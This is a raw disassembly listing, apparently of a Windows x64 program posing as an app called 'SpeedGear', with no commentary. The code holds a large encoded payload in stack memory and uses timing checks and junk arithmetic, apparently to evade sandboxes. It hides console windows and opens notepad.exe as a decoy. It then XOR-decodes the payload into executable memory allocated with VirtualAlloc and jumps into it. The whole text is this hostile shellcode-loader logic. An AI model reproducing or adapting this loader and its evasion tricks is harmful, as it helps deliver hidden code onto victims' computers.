mov dword [rbp + 0x934], 0xb6dc822
mov dword [rbp + 0x938], 0x94e55492
mov dword [rbp + 0x93c], 0xdb22e648
mov dword [rbp + 0x940], 0x22596a6d
mov dword [rbp + 0x944], 0xf2a46bd8
mov dword [rbp + 0x948], 0x1de62d32
mov dword [rbp + 0x94c], 0x205593df
mov dword [rbp + 0x950], 0x2495910c
mov dword [rbp + 0x954], 0xe6e6bfa9
mov dword [rbp + 0x958], 0x2ce6985e
mov dword [rbp + 0x95c], 0x6b181857
mov dword [rbp + 0x960], 0x93ef2df5
mov dword [rbp + 0x964], 0x95912814
mov dword [rbp + 0x968], 0xe6e7e12f
mov dword [rbp + 0x96c], 0xe79a5fe6
mov dword [rbp + 0x970], 0xa7e96b0c
mov dword [rbp + 0x974], 0x18185738
mov dword [rbp + 0x978], 0x9c940c73
mov dword [rbp + 0x97c], 0xe6e6e7e1
mov dword [rbp + 0x980], 0x9c94494f
mov dword [rbp + 0x984], 0xe6e6bfa9
mov dword [rbp + 0x988], 0xeebcf149
mov dword [rbp + 0x98c], 0xdd9ae6e6
mov dword [rbp + 0x990], 0x71597308
mov dword [rbp + 0x994], 0x18182818
mov dword [rbp + 0x998], 0x8ce64a4f
mov dword [rbp + 0x99c], 0xe6e6e628
mov dword [rbp + 0x9a0], 0x9c94e192
mov dword [rbp + 0x9a4], 0xe6e6bfa9
mov dword [rbp + 0x9a8], 0xf14e494f
mov dword [rbp + 0x9ac], 0xe6e6ef79
mov dword [rbp + 0x9b0], 0xe614dd9a
mov dword [rbp + 0x9b4], 0x2d4746ce
mov dword [rbp + 0x9b8], 0xdad042d9
mov dword [rbp + 0x9bc], 0x1c3c5d92
mov dword [rbp + 0x9c0], 0x927f4e4f
mov dword [rbp + 0x9c4], 0xcb9c7f08
mov dword [rbp + 0x9c8], 0x5592366d
mov dword [rbp + 0x9cc], 0xc992083c
mov dword [rbp + 0x9d0], 0x927fc835
mov dword [rbp + 0x9d4], 0xef9c7f2b
mov dword [rbp + 0x9d8], 0xae090c6d
mov dword [rbp + 0x9dc], 0xae091225
mov dword [rbp + 0x9e0], 0x6ce735ef
mov dword [rbp + 0x9e4], 0x7f585813
mov dword [rbp + 0x9e8], 0x1812259a
mov dword [rbp + 0x9ec], 0x9a7ffd6c
mov dword [rbp + 0x9f0], 0x1e6d1823
mov dword [rbp + 0x9f4], 0xd3f25959
mov dword [rbp + 0x9f8], 0x4746d92d
mov dword [rbp + 0x9fc], 0x3c5d92da
mov dword [rbp + 0xa00], 0x7fd1921c
mov dword [rbp + 0xa04], 0x6d18209a
mov dword [rbp + 0xa08], 0x7f585810
mov dword [rbp + 0xa0c], 0x6c18239a
mov dword [rbp + 0xa10], 0x3c4d92e1
mov dword [rbp + 0xa14], 0x927f4f10
mov dword [rbp + 0xa18], 0x2b907f2a
mov dword [rbp + 0xa1c], 0x5b5b5858
mov dword [rbp + 0xa20], 0x6cef9c7f
mov dword [rbp + 0xa24], 0x92da47e8
mov dword [rbp + 0xa28], 0x92103c55
mov dword [rbp + 0xa2c], 0x4f1c3c5d
mov dword [rbp + 0xa30], 0x940b927f
mov dword [rbp + 0xa34], 0x907f1a69
mov dword [rbp + 0xa38], 0x7f585808
mov dword [rbp + 0xa3c], 0x126dcb9c
mov dword [rbp + 0xa40], 0x7f0b927f
mov dword [rbp + 0xa44], 0x5f5f0e90
mov dword [rbp + 0xa48], 0xda47f6f2
mov dword [rbp + 0xa4c], 0x1c3c5592
mov dword [rbp + 0xa50], 0x18239a7f
mov dword [rbp + 0xa54], 0x6d1a5894
mov dword [rbp + 0xa58], 0x8927f12
mov dword [rbp + 0xa5c], 0x9c7f5959
mov dword [rbp + 0xa60], 0x35ef6ccb
mov dword [rbp + 0xa64], 0x51e1c8d8
mov dword [rbp + 0xa68], 0xd5d5d5da
mov dword [rbp + 0xa6c], 0xd5d5d5d5
mov dword [rbp + 0xa70], 0xd5d5d5d5
mov dword [rbp + 0xa74], 0xd5d5d5d5
mov dword [rbp + 0xa78], 0x8182448
mov dword [rbp + 0xa7c], 0x55941818
mov dword [rbp + 0xa80], 0xc6b103c
mov dword [rbp + 0xa84], 0x818f098
mov dword [rbp + 0xa88], 0x18371818
mov dword [rbp + 0xa8c], 0x9c181808
mov dword [rbp + 0xa90], 0x818241b
mov dword [rbp + 0xa94], 0xf56a1818
mov dword [rbp + 0xa98], 0xdd92d135
mov dword [rbp + 0xa9c], 0xf8921b9c
mov dword [rbp + 0xaa0], 0x59921092
mov dword [rbp + 0xaa4], 0x54da491c
mov dword [rbp + 0xaa8], 0xdaffd436
mov word [rbp + 0xaac], 0xb5aa
mov byte [rbp + 0xaae], 0x80
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x3e8
ja 0x14000a18f
xor ecx, ecx
call fcn.1400104c0
int3
mov qword [rsp + 0x3518], rbx
lea rcx, [rbp + 0xcc2]
mov qword [rsp + 0x3520], rdi
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0xcc0], di
call fcn.14000cb60
lea rdx, [rbp + 0xcc0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rcx, [rbp + 0xab2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0xab0], di
call fcn.14000cb60
lea rdx, [rbp + 0xab0]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [0x140060fa8]
lea rcx, [rbp + 0xab0]
call fcn.14000b480
test rax, rax
je 0x14000a273
lea ebx, [rdi + 0xa]
nop dword [rax]
lea rcx, str.ConsoleWindowClass
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x14000a247
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x12]
call qword [sym.imp.USER32.dll_PostMessageA]
dec rbx
jne 0x14000a220
call fcn.140003590
lea r8, str.notepad.exe
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x3e8
jbe 0x14000a288
xor ecx, ecx
call fcn.1400104c0
int3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor ecx, ecx
cmp eax, 0x3e8
je 0x14000a29d
call fcn.1400104c0
int3
mov qword [rsp + 0x34f0], r12
mov qword [rsp + 0x70], rdi
call qword [sym.imp.GDI32.dll_GetStockObject]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp - 0x70], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x65
mov rcx, rsi
mov qword [rbp - 0x78], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea r12, str.App.SpeedGear.MainWnd.ClassName
mov qword [rbp - 0x80], rax
lea rax, [0x1400080d0]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea rax, str.App.SpeedGear.MainWnd.AppName
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x60], r12
mov dword [rsp + 0x60], 3
mov qword [rbp - 0x68], rax
call qword [sym.imp.USER32.dll_RegisterClassA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], rdi
add eax, 0xfffffe0c
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rdi
cdq
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0x1f4
sub eax, edx
mov dword [rsp + 0x30], 0x2f8
lea r8, [0x140060f10]
sar eax, 1
mov r9d, 0xca0000
mov ecx, eax
lea eax, [rbx - 0x2f8]
cdq
mov dword [rsp + 0x28], ecx
xor ecx, ecx
sub eax, edx
mov rdx, r12
sar eax, 1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, 1
mov rcx, rax
mov qword [0x140095e50], rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140095e50]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdx, qword [0x140095e50]
lea rcx, [rbp - 0x50]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.USER32.dll_GetMessageA]
mov r12, qword [rsp + 0x34f0]
test eax, eax
je 0x14000a3fa
cmp eax, 0xffffffff
je 0x14000a3fa
lea rcx, [rbp - 0x50]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x50]
call qword [sym.imp.USER32.dll_DispatchMessageA]
mov rdx, qword [0x140095e50]
lea rcx, [rbp - 0x50]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000a3c6
lea rdx, [rbp + 0xed0]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0x30], rdi
lea rcx, [rbp + 0xed0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000a4c2
movsd xmm0, qword [0x140060f08]
movsd xmm1, qword [0x140060f00]
movsd xmm2, qword [0x140060ef8]
nop word [rax + rax]
addsd xmm0, xmm1
addsd xmm0, xmm1
addsd xmm0, xmm1
addsd xmm0, xmm1
subsd xmm0, xmm1
addsd xmm0, xmm1
addsd xmm0, xmm1
addsd xmm0, xmm1
subsd xmm0, xmm1
addsd xmm0, xmm1
subsd xmm0, xmm1
addsd xmm0, xmm1
addsd xmm0, xmm1
subsd xmm0, xmm1
addsd xmm0, xmm1
addsd xmm0, xmm1
subsd xmm0, xmm1
subsd xmm0, xmm1
comisd xmm2, xmm0
jae 0x14000a460
lea rcx, str.Progman
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x14000a4f5
mov rbx, qword [rsp + 0x3518]
mov rdi, qword [rsp + 0x3520]
xor eax, eax
mov rcx, qword [rbp + 0x33d0]
xor rcx, rsp
call fcn.14000cad0
movaps xmm6, xmmword [rsp + 0x34e0]
add rsp, 0x34f8
pop rsi
pop rbp
ret
xor ecx, ecx
mov edx, 0x236d
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
movsd xmm6, qword [0x140060ee0]
nop word [rax + rax]
mov eax, 0x438efc0f
mov ecx, edi
imul ecx, ecx, 0x3ca1
imul ecx
mov ecx, edi
imul ecx, ecx, 0xbd
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
cdqe
movzx r8d, byte [rbp + rax - 0x20]
mov eax, 0xad602b59
xor r8b, 0x19
imul ecx
add edx, ecx
mov ecx, edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, ecx, 0xd9
cdqe
mov byte [rax + rbx], r8b
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cdqe
cmp byte [rax + rbx], 0x3b
jae 0x14000a5cd
mov eax, 0x66c2e299
mov ecx, edi
imul ecx, ecx, 0x9f7
imul ecx
mov ecx, edi
imul ecx, ecx, 0xea
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
cdqe
movzx r8d, byte [rax + rbx]
mov eax, 0x8c08c08d
dec r8b
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cdqe
mov byte [rax + rbx], r8b
imul edi, edi, 0x8cb
mov eax, 0x7474e95f
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
lea edi, [rdx + rax + 1]
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm0, xmm6
jb 0x14000a520
lea rax, [rbx + 0x28]
mov cl, 0x7a
call rax
jmp 0x14000a520
jmp 0x1400086b0